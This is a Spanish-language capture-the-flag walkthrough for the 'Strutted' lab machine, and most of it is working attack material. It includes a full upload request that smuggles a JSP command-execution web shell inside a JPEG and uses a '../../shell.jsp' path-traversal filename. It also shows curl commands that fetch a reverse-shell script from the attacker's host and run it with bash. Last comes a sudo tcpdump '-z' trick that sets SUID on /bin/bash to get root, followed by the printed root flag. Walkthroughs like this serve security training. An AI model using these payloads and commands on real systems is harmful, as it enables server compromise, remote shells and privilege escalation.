Strutted
Escaneo inicial sencillo:

Tenemos una page web por la cual agregamos el dominio al etc host:

Descargamos el backup en Downloads:


Muy bien ahora intentaremos subir una img en la web pero interceptando la solicitud con BuripSuite:

Segun la vuln nos dice lo siguiente:
Intentaremos replicarlo:
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Length: 2091
Cache-Control: max-age=0
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHZ8mYpc6dOZDC02E
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/upload.action
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
Cookie: JSESSIONID=B637C191C7419531032532B09E0D4CAF
Connection: keep-alive
------WebKitFormBoundaryHZ8mYpc6dOZDC02E
Content-Disposition: form-data; name="Upload"; filename="descarga.jpeg"
Content-Type: image/jpeg
ÿØÿà
/& %---//0/---5-+------.---------------/--------------ÿÀ
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
------WebKitFormBoundaryHZ8mYpc6dOZDC02E
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
------WebKitFormBoundaryHZ8mYpc6dOZDC02E--
QUE SE HIZO ?
Se cambia por mayúscula el "upload" :Content-Disposition: form-data; name="Upload"; filename="descarga.jpeg"
Como es una img tenemos q dejar dos a tres líneas del emcabezado para que no tengamos problemas.
Por último agregamos el "top.UploadFileName para que se cambie el nombre el archivo y poder modificar su contenido tal como este ejemplo:
"Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
Ahora tenemos nuestro html listo para darnos la Webshell

Al intentar lanzarnos la WebShell no se puede por lo cual se vio conveniente crear un html con el Payload y abrir un servidos con python para poder enviarlo a dentro de la machine.
Para ver el archivo que este en el servidor compartiendo.
curl 10.10.16.9
Para descargarlo con curl y con el -o mandarlo a la carpeta tmp con el nuevo nombre.
curl 10.10.16.92 -o /tmp/reverse2
Con este parámetro lo ejecutamos pero antes tenemos que estar en la escucha por el puerto dado.
bash /tmp/reverse2

Siendo el user tomcat miramos los users y solo hay uno james
por lo cual vamos a ver si con la contraseña que obtuvimos anteriormente se puede entrar por ssh.
ssh james@10.10.11.59
Se revisaron los permisos sudo
, revelando que tcpdump podía ejecutarse sin contraseña:
bashCopiarEditarjames@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
Este binario es explotable según GTFOBins.
3. Explotación de tcpdump
para Escalada a Root
Se creó un archivo temporal con un comando para asignar el bit SUID a /bin/bash
:
bashCopiarEditarjames@strutted:~$ COMMAND='chmod u+s /bin/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
Luego, se ejecutó tcpdump
con la opción -z
, que permite ejecutar un script cuando se rota un archivo de captura:
bashCopiarEditarjames@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
Esto estableció el bit SUID en /bin/bash
, permitiendo ejecutar una shell como root:
bashCopiarEditarjames@strutted:~$ bash -p
bash-5.1# cat /root/root.txt
47ece206edb216c8b2d582089a16b98d
Conclusión
La mala configuración de sudo
permitió explotar tcpdump
para modificar permisos en /bin/bash, obteniendo acceso root.

Last updated